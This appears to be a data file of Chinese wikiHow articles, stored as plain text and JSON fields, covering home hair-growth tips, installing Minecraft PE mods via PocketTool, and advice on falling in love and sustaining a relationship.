改成每周只洗两三次头后，如果你发现头皮非常油或痒，那就稍微增加每周的洗发次数。正确的洗头方法是只将洗发水抹在头皮上，边抹边按摩，然后在冲洗的时候，让它往下流进头发里。
和洗发水不同，每次洗澡时弄湿了头发，都要用护发素护发。护发素有助于为毛干补充油脂和蛋白质，让头发变得更长、更健康。
2-2. 每次冲淋浴的时候护理自己的头发。
和洗发水的作用不同，冲澡的时候要在湿头发上用点护发素，这很重要。护发素可以补充毛干中的脂质和蛋白质，让头发长得更长更健康。
2-3. 洗完澡后再用冷水冲一遍头发。
洗完热水澡后，再用冷水洗头可以封住表皮层，做造型的时候头发也不容易损坏。
用洗发水和护发素洗头时，最好也将水温调小。热腾腾的水会导致头发过热。
2-4. 不要用毛巾裹着湿发。
洗完澡后，你可能习惯用毛巾裹着扭干头发，但是这样头发很容易断，发束也会承受很大的压力。湿发尤其脆弱，与其裹着头发，不如用干毛巾轻轻把头发拍干。
如果你喜欢用毛巾裹着头发，不妨用薄毛巾或是柔软的超细纤维毛巾。这些材质对头发很温和，可以很好地擦干头发，不会弄断它们。
2-5. 睡前梳头。
每天过度梳头对头发其实很不好，会影响它们的生长。你应该在睡前用天然野猪鬃毛刷梳几下，让头皮里的油脂均匀地分布在头发，这样头发就能自然地保持湿润。
从头皮开始以均匀的力道往下梳，每一个部分至少梳一次。每天睡前梳一次头也能增加头皮血液循环，改善头皮健康，促进头发生长。虽然没有科学证据证明梳头能使头发长得更快，但是它的确能改善头发的整体健康。
上床睡觉前梳一次头有助于头皮血液循环，从而让头皮更健康并刺激头发生长。梳头可加快头发生长速度并无科学依据，但的确有助于改善头发的整体健康。
2-6. 不要使用热定型工具。
头发之所以受损和无法生长，通常是吹风机、直发器、卷发器等热定型工具造成的。试着少用或完全不用这些工具。选择做更自然的造型，以免妨碍头发健康生长。
如果你要用热定型工具，应该调到低温，并先抹上热保护霜或凝胶，以免损坏头发。
2-7. 修头发。
修发可以促进头发快速生长？听起来似乎违反直觉，但是让发型师帮你修一修头发，真的可以帮助头发长得更快、更健康。经常修头发能防止发尾的分叉向上蔓延，进而减少理发次数。发尾分叉会导致更上面的头发也跟着分叉，使头发变短，你也需要经常到发廊剪发。
每10到12周就得到发廊，让发型师由分叉点向上剪掉约1厘米，以免受损的头发组织蔓延。定期修头发，让头发保持健康，没有分叉。
多久修一次头发得看你头发生长的快慢，以及发尖受损的状况。
3. 改变饮食和习惯
3-1. 服用促进头发生长的补充剂。
如果你无法从饮食中获取足够的营养来促进头发生长，不妨考虑服用专为改善头发健康而配制的综合维生素。寻找标有“头发健康”等字眼的维生素，比如有些生物素片剂含有生物素、维生素C和B，这些营养对头发健康十分重要。这类补充剂可以让头发长得更快、更健康。
服用任何补充剂之前，都应该先咨询医生，确保有关补充剂和剂量不会影响你目前吃的药。
生物素和其他有助头发生长的维生素的效果因人而异，并且可能导致不同的副作用。
要服用那些由美国药典、美国国家卫生基金会或消费者实验室等第三方检验过的补充剂。
3-2. 吃高蛋白食物。
提高蛋白质摄入量可以促进头发健康生长，确保你不会脱发。肉、鱼、坚果和全谷物的摄入量必须平衡。如果你是素食主义者，一定要从大豆制品、豆类、坚果和谷物中摄取充足的蛋白质。
如果你想遵循高蛋白饮食计划，一定要慎选蛋白质来源。避开经过加工的肉或全脂乳制品，它们会引起其它健康问题。你也必须摄取充足的全谷物、水果和蔬菜，它们除了提供健康的碳水化合物，也含有大量纤维和各种营养。
确保从饮食中摄取足够多健康的碳水化合物，要有丰富的膳食纤维和各种营养，例如全谷类、水果和蔬菜。
3-3. 尝试把头倒过来。
将头倒过来，让它位于心脏之下，可以促进血液流向头部，鼓励头发生长。一些人试了这个方法后效果明显，一周后头发长了差不多0.5到1厘米。虽然没有科学依据，但起码没有坏处，不妨试一试。
你也可以借用瑜伽动作，比如下犬式、肩倒立或头手倒立。这样主要是为了让头低于心脏的高度，从而让更多血液流向头部。
先用椰子油按摩头皮4分钟才把头倒过来，以促进头发生长。你也可以在开始用这个方法之前量一量头发长度，方便之后记录进展。
躺在床上，头在床边倒挂，利用床沿支撑脖子。每天保持这个姿势4到5分钟。你也可以尝试下犬式、肩立式或头倒立等瑜伽姿势。重要的是让头在心脏下方，促使血液流向头。
慢慢地把头抬起来，恢复正常姿势，以免头晕。一周后再次测量头发长度，看看头发在仅仅一周的时间长了多少。
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每周用洗发水洗头两到三次。\\n将洗头次数减少到一周两三次，好让头皮的天然油脂渗入头发。头发得到滋润，就能自己进行修复。\\n改成每周只洗两三次头后，如果你发现头皮非常油或痒，那就稍微增加每周的洗发次数。正确的洗头方法是只将洗发水抹在头皮上，边抹边按摩，然后在冲洗的时候，让它往下流进头发里。\\n和洗发水不同，每次洗澡时弄湿了头发，都要用护发素护发。护发素有助于为毛干补充油脂和蛋白质，让头发变得更长、更健康。\\n2-2. 每次冲淋浴的时候护理自己的头发。\\n和洗发水的作用不同，冲澡的时候要在湿头发上用点护发素，这很重要。护发素可以补充毛干中的脂质和蛋白质，让头发长得更长更健康。\\n2-3. 洗完澡后再用冷水冲一遍头发。\\n洗完热水澡后，再用冷水洗头可以封住表皮层，做造型的时候头发也不容易损坏。\\n用洗发水和护发素洗头时，最好也将水温调小。热腾腾的水会导致头发过热。\\n2-4. 不要用毛巾裹着湿发。\\n洗完澡后，你可能习惯用毛巾裹着扭干头发，但是这样头发很容易断，发束也会承受很大的压力。湿发尤其脆弱，与其裹着头发，不如用干毛巾轻轻把头发拍干。\\n如果你喜欢用毛巾裹着头发，不妨用薄毛巾或是柔软的超细纤维毛巾。这些材质对头发很温和，可以很好地擦干头发，不会弄断它们。\\n2-5. 睡前梳头。\\n每天过度梳头对头发其实很不好，会影响它们的生长。你应该在睡前用天然野猪鬃毛刷梳几下，让头皮里的油脂均匀地分布在头发，这样头发就能自然地保持湿润。\\n从头皮开始以均匀的力道往下梳，每一个部分至少梳一次。每天睡前梳一次头也能增加头皮血液循环，改善头皮健康，促进头发生长。虽然没有科学证据证明梳头能使头发长得更快，但是它的确能改善头发的整体健康。\\n上床睡觉前梳一次头有助于头皮血液循环，从而让头皮更健康并刺激头发生长。梳头可加快头发生长速度并无科学依据，但的确有助于改善头发的整体健康。\\n2-6. 不要使用热定型工具。\\n头发之所以受损和无法生长，通常是吹风机、直发器、卷发器等热定型工具造成的。试着少用或完全不用这些工具。选择做更自然的造型，以免妨碍头发健康生长。\\n如果你要用热定型工具，应该调到低温，并先抹上热保护霜或凝胶，以免损坏头发。\\n2-7. 修头发。\\n修发可以促进头发快速生长？听起来似乎违反直觉，但是让发型师帮你修一修头发，真的可以帮助头发长得更快、更健康。经常修头发能防止发尾的分叉向上蔓延，进而减少理发次数。发尾分叉会导致更上面的头发也跟着分叉，使头发变短，你也需要经常到发廊剪发。\\n每10到12周就得到发廊，让发型师由分叉点向上剪掉约1厘米，以免受损的头发组织蔓延。定期修头发，让头发保持健康，没有分叉。\\n多久修一次头发得看你头发生长的快慢，以及发尖受损的状况。\\n3. 改变饮食和习惯\\n3-1. 服用促进头发生长的补充剂。\\n如果你无法从饮食中获取足够的营养来促进头发生长，不妨考虑服用专为改善头发健康而配制的综合维生素。寻找标有“头发健康”等字眼的维生素，比如有些生物素片剂含有生物素、维生素C和B，这些营养对头发健康十分重要。这类补充剂可以让头发长得更快、更健康。\\n服用任何补充剂之前，都应该先咨询医生，确保有关补充剂和剂量不会影响你目前吃的药。\\n生物素和其他有助头发生长的维生素的效果因人而异，并且可能导致不同的副作用。\\n要服用那些由美国药典、美国国家卫生基金会或消费者实验室等第三方检验过的补充剂。\\n3-2. 吃高蛋白食物。\\n提高蛋白质摄入量可以促进头发健康生长，确保你不会脱发。肉、鱼、坚果和全谷物的摄入量必须平衡。如果你是素食主义者，一定要从大豆制品、豆类、坚果和谷物中摄取充足的蛋白质。\\n如果你想遵循高蛋白饮食计划，一定要慎选蛋白质来源。避开经过加工的肉或全脂乳制品，它们会引起其它健康问题。你也必须摄取充足的全谷物、水果和蔬菜，它们除了提供健康的碳水化合物，也含有大量纤维和各种营养。\\n确保从饮食中摄取足够多健康的碳水化合物，要有丰富的膳食纤维和各种营养，例如全谷类、水果和蔬菜。\\n3-3. 尝试把头倒过来。\\n将头倒过来，让它位于心脏之下，可以促进血液流向头部，鼓励头发生长。一些人试了这个方法后效果明显，一周后头发长了差不多0.5到1厘米。虽然没有科学依据，但起码没有坏处，不妨试一试。\\n你也可以借用瑜伽动作，比如下犬式、肩倒立或头手倒立。这样主要是为了让头低于心脏的高度，从而让更多血液流向头部。\\n先用椰子油按摩头皮4分钟才把头倒过来，以促进头发生长。你也可以在开始用这个方法之前量一量头发长度，方便之后记录进展。\\n躺在床上，头在床边倒挂，利用床沿支撑脖子。每天保持这个姿势4到5分钟。你也可以尝试下犬式、肩立式或头倒立等瑜伽姿势。重要的是让头在心脏下方，促使血液流向头。\\n慢慢地把头抬起来，恢复正常姿势，以免头晕。一周后再次测量头发长度，看看头发在仅仅一周的时间长了多少。\\n\", \"简要回答\": \"也许你后悔剪了新发型，或是某个特别的活动即将到来，你希望头发快点变长，好方便做造型？不管出于什么原因，有一些方法可以帮到你。试一试用护理产品滋养头发，像是用温热的油按摩头皮，还有调整平时的护发方法，以免给头发造成压力。另外，你还要多摄取对头发生长有益的营养，比如蛋白质和生物素。头发在一周内的生长速度有限，但是只要好好呵护，就能让它们在短期内最大限度地变长。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"使用护理产品\", \"步骤\": [{\"编号\": 1, \"标题\": \"用温热的油按摩头皮。\", \"描述\": \"用天然油按摩头皮，有助于改善头皮健康，促进头发生长。椰子油、杏仁油、荷荷芭油和阿甘油都可以用来按摩头皮。但是，并没有科学证据证明这种方法真的能促进头发生长。\\n先将油放在火炉或一碗滚水中加热。使用前试一试温度，确保它不会太烫，是你可以承受的温度，以免伤到头皮或头发。\\n用手指蘸点温热的油，以慢慢转圈的方式轻轻地按摩头皮。如果伴侣或朋友在身边，可以让他们帮你按摩头皮。让他们用指尖按摩你的头皮15到20分钟。\\n然后把油抹在头发上。等待30分钟才用洗发水把头发洗干净。你可能需要洗超过1次，才能把油清除干净。\\n在洗头的时候用油按摩头皮，这样就能还是按照平时的频率来洗头。\"}, {\"编号\": 2, \"标题\": \"使用发膜。\", \"描述\": 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\"洗完热水澡后，再用冷水洗头可以封住表皮层，做造型的时候头发也不容易损坏。\\n用洗发水和护发素洗头时，最好也将水温调小。热腾腾的水会导致头发过热。\"}, {\"编号\": 4, \"标题\": \"不要用毛巾裹着湿发。\", \"描述\": \"洗完澡后，你可能习惯用毛巾裹着扭干头发，但是这样头发很容易断，发束也会承受很大的压力。湿发尤其脆弱，与其裹着头发，不如用干毛巾轻轻把头发拍干。\\n如果你喜欢用毛巾裹着头发，不妨用薄毛巾或是柔软的超细纤维毛巾。这些材质对头发很温和，可以很好地擦干头发，不会弄断它们。\"}, {\"编号\": 5, \"标题\": \"睡前梳头。\", \"描述\": \"每天过度梳头对头发其实很不好，会影响它们的生长。你应该在睡前用天然野猪鬃毛刷梳几下，让头皮里的油脂均匀地分布在头发，这样头发就能自然地保持湿润。\\n从头皮开始以均匀的力道往下梳，每一个部分至少梳一次。每天睡前梳一次头也能增加头皮血液循环，改善头皮健康，促进头发生长。虽然没有科学证据证明梳头能使头发长得更快，但是它的确能改善头发的整体健康。\\n上床睡觉前梳一次头有助于头皮血液循环，从而让头皮更健康并刺激头发生长。梳头可加快头发生长速度并无科学依据，但的确有助于改善头发的整体健康。\"}, {\"编号\": 6, \"标题\": \"不要使用热定型工具。\", \"描述\": \"头发之所以受损和无法生长，通常是吹风机、直发器、卷发器等热定型工具造成的。试着少用或完全不用这些工具。选择做更自然的造型，以免妨碍头发健康生长。\\n如果你要用热定型工具，应该调到低温，并先抹上热保护霜或凝胶，以免损坏头发。\"}, {\"编号\": 7, \"标题\": \"修头发。\", \"描述\": \"修发可以促进头发快速生长？听起来似乎违反直觉，但是让发型师帮你修一修头发，真的可以帮助头发长得更快、更健康。经常修头发能防止发尾的分叉向上蔓延，进而减少理发次数。发尾分叉会导致更上面的头发也跟着分叉，使头发变短，你也需要经常到发廊剪发。\\n每10到12周就得到发廊，让发型师由分叉点向上剪掉约1厘米，以免受损的头发组织蔓延。定期修头发，让头发保持健康，没有分叉。\\n多久修一次头发得看你头发生长的快慢，以及发尖受损的状况。\"}]}, {\"编号\": 3, \"标题\": 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\"将头倒过来，让它位于心脏之下，可以促进血液流向头部，鼓励头发生长。一些人试了这个方法后效果明显，一周后头发长了差不多0.5到1厘米。虽然没有科学依据，但起码没有坏处，不妨试一试。\\n你也可以借用瑜伽动作，比如下犬式、肩倒立或头手倒立。这样主要是为了让头低于心脏的高度，从而让更多血液流向头部。\\n先用椰子油按摩头皮4分钟才把头倒过来，以促进头发生长。你也可以在开始用这个方法之前量一量头发长度，方便之后记录进展。\\n躺在床上，头在床边倒挂，利用床沿支撑脖子。每天保持这个姿势4到5分钟。你也可以尝试下犬式、肩立式或头倒立等瑜伽姿势。重要的是让头在心脏下方，促使血液流向头。\\n慢慢地把头抬起来，恢复正常姿势，以免头晕。一周后再次测量头发长度，看看头发在仅仅一周的时间长了多少。\"}]}]}}",
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} | wikihow |
14,674 | 如何在Minecraft PE（口袋版）中安装Mods | 1. 步骤
1-1. 找到你想安装的Mod。
1-2. 将压缩文件下载到电脑中。
1-3. 解压缩。
1-4. 将手机连接到电脑上。
1-5. 将Mod文件复制到“PocketTool”文件夹中，路径是"Android->data->snowbound.pockettool"。
注意：如果你在 "Android->data->snowbound.pockettool"中找不到“PocketTool”文件夹，你可以使用"Astro File Manager"来将文件复制到你的手机中。
1-6. 打开PocketTool。
1-7. 依次选择“Tool Kit -> Patch Mod ->你想安装的Mod”。
1-8. 按住Mod，然后会弹出一条信息，询问你是否要安装，选择”是“。
1-9. 进入Pocket Tool的设置菜单，选择"应用"。
如果弹出警告让你卸载Minecraft，不要担心它会马上自动安装，并且包含新的Mod。
1-10. 在Minecraft PE中新建一个世界，然后使用新安装的Mod吧！
小提示
要在可靠的来源下载文件，从没有人提过的文件来源下载文件，可能会中木马或病毒。
你可以到Minecraft的论坛中下载Mod。
| {
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"回答明细": "{\"回答\": \"1. 步骤\\n1-1. 找到你想安装的Mod。\\n\\n1-2. 将压缩文件下载到电脑中。\\n\\n1-3. 解压缩。\\n\\n1-4. 将手机连接到电脑上。\\n\\n1-5. 将Mod文件复制到“PocketTool”文件夹中，路径是\\\"Android->data->snowbound.pockettool\\\"。\\n注意：如果你在 \\\"Android->data->snowbound.pockettool\\\"中找不到“PocketTool”文件夹，你可以使用\\\"Astro File Manager\\\"来将文件复制到你的手机中。\\n1-6. 打开PocketTool。\\n\\n1-7. 依次选择“Tool Kit -> Patch Mod ->你想安装的Mod”。\\n\\n1-8. 按住Mod，然后会弹出一条信息，询问你是否要安装，选择”是“。\\n\\n1-9. 进入Pocket Tool的设置菜单，选择\\\"应用\\\"。\\n如果弹出警告让你卸载Minecraft，不要担心它会马上自动安装，并且包含新的Mod。\\n1-10. 在Minecraft PE中新建一个世界，然后使用新安装的Mod吧！\\n\\n\\n小提示\\n要在可靠的来源下载文件，从没有人提过的文件来源下载文件，可能会中木马或病毒。\\n你可以到Minecraft的论坛中下载Mod。\\n\", \"简要回答\": \"Minecraft PE和电脑端的版本相比，难以按照自己的喜好进行定制。然而，只需要进行一些额外的设置，就可以安装各种Mod了。下面是具体的做法。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"步骤\", \"步骤\": [{\"编号\": 1, \"标题\": \"找到你想安装的Mod。\", \"描述\": \"\"}, {\"编号\": 2, \"标题\": \"将压缩文件下载到电脑中。\", \"描述\": \"\"}, {\"编号\": 3, \"标题\": \"解压缩。\", \"描述\": \"\"}, {\"编号\": 4, \"标题\": \"将手机连接到电脑上。\", \"描述\": \"\"}, {\"编号\": 5, \"标题\": \"将Mod文件复制到“PocketTool”文件夹中，路径是\\\"Android->data->snowbound.pockettool\\\"。\", \"描述\": \"注意：如果你在 \\\"Android->data->snowbound.pockettool\\\"中找不到“PocketTool”文件夹，你可以使用\\\"Astro File Manager\\\"来将文件复制到你的手机中。\"}, {\"编号\": 6, \"标题\": \"打开PocketTool。\", \"描述\": \"\"}, {\"编号\": 7, \"标题\": \"依次选择“Tool Kit -> Patch Mod ->你想安装的Mod”。\", \"描述\": \"\"}, {\"编号\": 8, \"标题\": \"按住Mod，然后会弹出一条信息，询问你是否要安装，选择”是“。\", \"描述\": \"\"}, {\"编号\": 9, \"标题\": \"进入Pocket Tool的设置菜单，选择\\\"应用\\\"。\", \"描述\": \"如果弹出警告让你卸载Minecraft，不要担心它会马上自动安装，并且包含新的Mod。\"}, {\"编号\": 10, \"标题\": \"在Minecraft PE中新建一个世界，然后使用新安装的Mod吧！\", \"描述\": \"\"}], \"小提示\": [\"要在可靠的来源下载文件，从没有人提过的文件来源下载文件，可能会中木马或病毒。\\n\", \"你可以到Minecraft的论坛中下载Mod。\\n\"]}]}}",
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14,675 | 如何恋爱 | 1. 因为正确的原因而恋爱
1-1.
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为了恋爱，你需要找一个爱的人。如果你根本不见人，那么当然遇不到对的人。你不需要当一个派对王，你只需要经常出门参加一些会遇到新朋友的社交活动。如果这些新朋友很有魅力而刚好又跟你年龄相仿，那就更好了。
你爱上的人可以是一个新朋友，也可以是一个你已经认识很久的人。了解你自己的感情，开朗一点，勇于表达自己的内心。
试着避免“一见钟情”。这种想法是很浪漫的，但是实际上，基本上不可能在你不认识他/她的情况下就找到那个对的人。毫无根据的爱表明你可能只是迷恋，也就是爱上了一个不存在的理想恋人。
1-2.
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就算你已经参加了很多派对，你的朋友们也给你介绍了很多有趣的、有魅力的人，你还是应该多给这个过程一点时间。耐心等待。可能会花很多年才能找到对的人。在此期间，你可能找到那些你认为是对的人，但实际上不是。将这些机会作为学习经验的过程。最终，你会知道你要找的最适合你的人是哪一种。
对遇到的每个人都要友好和开朗。就算你在第一次遇到这个人的时候并没有什么感觉，你可能最终会发现自己爱上了他/她。这甚至还可能发生在那些你一开始根本就不在意的人身上。这也表明这个人很有深度和内涵。
记住，异性相吸。在你遇到新的人的时候，日久见人心。长期的关系可以建立在两个一开始互斥的性格上。
1-3.
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你如果已经花了一些时间见新的朋友，而其中的一个人引起了你的注意。你迫切地想知道所有人都想知道的：他/她对你有兴趣吗？观察他/她的肢体动作。这个人是不是经常跟你眼神交流？他们会不会偶尔不小心碰到你？如果你不确定的话，试着给他们的朋友暗示，然后看看他们是如何反应的。
我们的文章《如何知道一个男生是否喜欢你》和《如何知道一个女生是否喜欢你》提供了发现爱的暗示的详细建议。
1-4.
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这可能会是一段年轻的关系中最悲惨的部分，但是不一定。当你约感兴趣的人出来的时候一定要记住，你和他/她都是人。要对他们有感情，尊重他们，你想别人怎么对待你，你就怎么对待别人。记住，如果你想得到爱，但是你不约任何人出去，你是在搬起石头砸自己的脚。在爱情里，你不应该等别人来为你做这件事。抓住机会。
看看我们关于如何约别人出去的文章，获得多种技巧和想法等。
不要让你自己被你喜欢的人的美貌或社会地位所吓到。不要觉得你自己“不够好”。如果他/她看起来真的对你很感兴趣，他/她很可能觉得你足够好了。这很简单。
女士们，不要怕主动约男生出去！
1-5.
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你已经很有希望地建立其了跟一个你真的很喜欢的人的关系的开始。现在的关键是让爱有机地增长。你需要对自己的感情有一个很好的掌握，人们说的“听从你内心的声音”就是这个意思。只有你自己会知道什么时候一段感情从“随意”变成了“认真”。对你的另一半和你自己的感觉都要坦诚。
不管这段感情看起来多么诱人，一定不要强求。你不应该斗争说服自己你爱上了某人。这种“假”爱的感觉比孤独更糟。
1-6.
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表达你的爱不应该是艰难的。如果你真的爱上了某人，你应该已经在跟对方亲密相处的时候觉得很舒服了。说“我爱你”应该是自然的感觉。如果你真的恋爱了，这些话可能在你知道之前就先自己跳出来了！
不要仅仅假设你爱的人知道你爱他们。说出来。凝结这种感觉对你们双方都很重要。这能让你们安定下来，不再恐惧。最重要的是，它给了你们双方一种清楚表达自己感情的安定感。
2. 让你的新恋情茁壮发展
2-1.
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别以为一直不会吵架或打架。随着你们在一起的时间增长，矛盾会来了又去。在此期间，一定记住你爱这个人，不管他们现在有多么烦人和自私。
不要把威胁说要分手当作对争吵的一个下意识的反应。如果你的另一半这样来威胁你，等到彼此都冷静下来再提醒他/她这伤害到你对他的信任了。除非你已经很惨地发现他们真的深深地伤害到你了，那这些话就不应该因为吵架而说出来。
提醒自己（和你爱的人）如果你们一起努力的话，将会克服所有困难。解决你们之间的分歧的时候要想着你的另一半不是故意要说或做这些事来伤害你的，直到他们给你原因。
2-2.
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每一段恋情最终都会从开始的高速发展期和甜蜜期慢下来。这实际上是一种安慰。通过每天提醒你自己和他/她你们的爱是真的存在的，你会让你们的感情更加健康和富有生机。表达爱意从来都是被低估的，你做的小事会为对方带去巨大的感动。
请看我们的文章《保持恋爱新鲜》来了解让你们的恋爱生活富有生机的方法。
试着为你的另一半做一些小事，比如为他做咖啡或缝补她最爱的衬衫。主动做一些事，这样他们就不用再做了，比如在他做完晚饭之后你主动洗完。当你下班进门之后的一个微笑，一个甜蜜的拥吻，离开前一句简单的“亲爱的，我爱你”。所有这些事都会让你爱的人知道你在想着他/她。
2-3.
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信任是一段有爱的关系的基石。恋爱双方应该信任彼此，直到一方给出了让别人不再信任的理由。相信你的另一半，同时也给他们信任你的理由。
开始的时候，你们应该都同意你们恋情的界限。一旦制定了这些底线，你们应该不要越过这些界限。避免任何会看起来像违背信任的事。换句话说，不要做任何看起来不好的事。信任经常很容易获得，因为你们想信任彼此。但是一旦破坏，就很难修复。
2-4.
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知道自己欣赏伴侣身上的哪些品质是让你安定的很重要的因素。将一段感情基于肤浅的东西，比如身体吸引，只能导致这段感情经不起时间的考验。因为恋人的性格和内部温暖，即他们的灵魂而爱他/她是很重要的。
就好像身体吸引一样，他们的钱也是一种很不好的理由。钱能瞬间就消失，对于一段持久的感情来说，不要将它跟对方的赚钱能力相结合起来，只要他们能支付生活所需就行了。
2-5.
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珍爱彼此，让你们的感情自由发展，不管是六个月还是直到生命终结。记住，你现在握住的手是将在今晚抚摸你的脸颊的手、是会在明天抱着你孩子的手，是会在你老的时候安抚你的手。紧紧握住他/她的手，不要放开。
小提示
爱是很吓人的！将你自己柔弱的一面完全展现给另一个人能让你们双方都吓得做一些很防备的事。对对方耐心和友好，记住如果你之前曾经被伤害过，不是这个人伤害你的。让过去的事过去吧，活在当下。
爱不仅仅是一种感觉，它更是一种行为和一个动词。不要紧紧因为对方对你很好或者在你身上花很多钱就爱上他/她，而应该因为他/她表现出了爱你的一面，比如尊重你、信任你、鼓励你而爱他/她。
相信你的另一半本意是好的，你应该总是相信他/她。不要盲目相信别人说的关于他/她的坏话。
一定不要将性和爱混淆。性会让你自己和你在跟这个人发展的关系显得更廉价。等待，慢慢来。
不要怕再想一晚。人们说，“不要让气愤过夜”，这是有一定道理的，因为这说明你不应该一直都很郁闷，就算很困难也应该将事情解决。但是有时候吵架真的会升级到为了吵而吵。带着没有解决的问题去睡觉，明天再一起解决会让你们双方都冷静下来。考虑到对方的观点，认识到是什么在让你生气。给彼此空间、尊重、和时间去反省，尽量更客观是很重要的。当你真的爱某人的时候，有时候会让你的情绪非常激动，而思考会让你重拾你的公平感和是非观。
尊重彼此。当你生气的时候，不要骂人。要意识到极度郁闷会让你像疯子一样。如果你真的那么生气的话，当你发现自己很想打人或骂人，说“我现在很生气很伤心，我觉得我们不应该现在谈这件事。我需要一些时间来整理自己的思绪。我想出去散散步/回家，晚点打给你或者明天再说。”
警告
恋爱并不代表你拥有对方的所有权。占有欲太强并不好，并且会消磨对方对你的爱。你必须很信任他/她，相信他/她对你的爱。占有欲和嫉妒心很可爱，如果是合理的范围内的话。如果你开始变得像一个神经质的人，每当有人跟你的恋人说话时你就很生气的话，那么这就很恐怖了。
恋爱能给你最大的快乐，也能给你最多的伤痛。
爱赋予了别人伤害你的能力，而你却宁可相信他/她不会。
一旦信任破灭的话，我们就不会像第一次那样轻易相信别人了。
就算最让人看好的恋情，也可能会结束。有很多原因，也可能没有原因。如果不管因为什么原因，你的恋情结束了，好好疗伤，学习怎样才能治愈你的心。不要害怕再一次去爱。有时候会很痛，但当爱情很美满的时候，真的很好。斯丁说过，“爱能修复你的生活，也能伤你的心。”这两句话都很对。但是如果你愿意的话，破碎的心也能通过找寻新的爱来被完全治愈。
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\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/b\\\\/bb\\\\/Fall-in-Love-Step-11.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/b\\\\/bb\\\\/Fall-in-Love-Step-11.png\\\\/220px-Fall-in-Love-Step-11.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":460,\\\"bigWidth\\\":220,\\\"bigHeight\\\":220,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n每一段恋情最终都会从开始的高速发展期和甜蜜期慢下来。这实际上是一种安慰。通过每天提醒你自己和他/她你们的爱是真的存在的，你会让你们的感情更加健康和富有生机。表达爱意从来都是被低估的，你做的小事会为对方带去巨大的感动。\\n请看我们的文章《保持恋爱新鲜》来了解让你们的恋爱生活富有生机的方法。\\n试着为你的另一半做一些小事，比如为他做咖啡或缝补她最爱的衬衫。主动做一些事，这样他们就不用再做了，比如在他做完晚饭之后你主动洗完。当你下班进门之后的一个微笑，一个甜蜜的拥吻，离开前一句简单的“亲爱的，我爱你”。所有这些事都会让你爱的人知道你在想着他/她。\\n2-3. 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\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/4\\\\/49\\\\/Fall-in-Love-Step-13.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/4\\\\/49\\\\/Fall-in-Love-Step-13.png\\\\/220px-Fall-in-Love-Step-13.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":460,\\\"bigWidth\\\":220,\\\"bigHeight\\\":220,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n知道自己欣赏伴侣身上的哪些品质是让你安定的很重要的因素。将一段感情基于肤浅的东西，比如身体吸引，只能导致这段感情经不起时间的考验。因为恋人的性格和内部温暖，即他们的灵魂而爱他/她是很重要的。\\n就好像身体吸引一样，他们的钱也是一种很不好的理由。钱能瞬间就消失，对于一段持久的感情来说，不要将它跟对方的赚钱能力相结合起来，只要他们能支付生活所需就行了。\\n2-5. \\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/b\\\\/bf\\\\/Fall-in-Love-Step-12.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/b\\\\/bf\\\\/Fall-in-Love-Step-12.png\\\\/220px-Fall-in-Love-Step-12.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":460,\\\"bigWidth\\\":220,\\\"bigHeight\\\":220,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n珍爱彼此，让你们的感情自由发展，不管是六个月还是直到生命终结。记住，你现在握住的手是将在今晚抚摸你的脸颊的手、是会在明天抱着你孩子的手，是会在你老的时候安抚你的手。紧紧握住他/她的手，不要放开。\\n小提示\\n爱是很吓人的！将你自己柔弱的一面完全展现给另一个人能让你们双方都吓得做一些很防备的事。对对方耐心和友好，记住如果你之前曾经被伤害过，不是这个人伤害你的。让过去的事过去吧，活在当下。\\n爱不仅仅是一种感觉，它更是一种行为和一个动词。不要紧紧因为对方对你很好或者在你身上花很多钱就爱上他/她，而应该因为他/她表现出了爱你的一面，比如尊重你、信任你、鼓励你而爱他/她。\\n相信你的另一半本意是好的，你应该总是相信他/她。不要盲目相信别人说的关于他/她的坏话。\\n一定不要将性和爱混淆。性会让你自己和你在跟这个人发展的关系显得更廉价。等待，慢慢来。\\n不要怕再想一晚。人们说，“不要让气愤过夜”，这是有一定道理的，因为这说明你不应该一直都很郁闷，就算很困难也应该将事情解决。但是有时候吵架真的会升级到为了吵而吵。带着没有解决的问题去睡觉，明天再一起解决会让你们双方都冷静下来。考虑到对方的观点，认识到是什么在让你生气。给彼此空间、尊重、和时间去反省，尽量更客观是很重要的。当你真的爱某人的时候，有时候会让你的情绪非常激动，而思考会让你重拾你的公平感和是非观。\\n尊重彼此。当你生气的时候，不要骂人。要意识到极度郁闷会让你像疯子一样。如果你真的那么生气的话，当你发现自己很想打人或骂人，说“我现在很生气很伤心，我觉得我们不应该现在谈这件事。我需要一些时间来整理自己的思绪。我想出去散散步/回家，晚点打给你或者明天再说。”\\n警告\\n恋爱并不代表你拥有对方的所有权。占有欲太强并不好，并且会消磨对方对你的爱。你必须很信任他/她，相信他/她对你的爱。占有欲和嫉妒心很可爱，如果是合理的范围内的话。如果你开始变得像一个神经质的人，每当有人跟你的恋人说话时你就很生气的话，那么这就很恐怖了。\\n恋爱能给你最大的快乐，也能给你最多的伤痛。\\n爱赋予了别人伤害你的能力，而你却宁可相信他/她不会。\\n一旦信任破灭的话，我们就不会像第一次那样轻易相信别人了。\\n就算最让人看好的恋情，也可能会结束。有很多原因，也可能没有原因。如果不管因为什么原因，你的恋情结束了，好好疗伤，学习怎样才能治愈你的心。不要害怕再一次去爱。有时候会很痛，但当爱情很美满的时候，真的很好。斯丁说过，“爱能修复你的生活，也能伤你的心。”这两句话都很对。但是如果你愿意的话，破碎的心也能通过找寻新的爱来被完全治愈。\\n\", \"简要回答\": 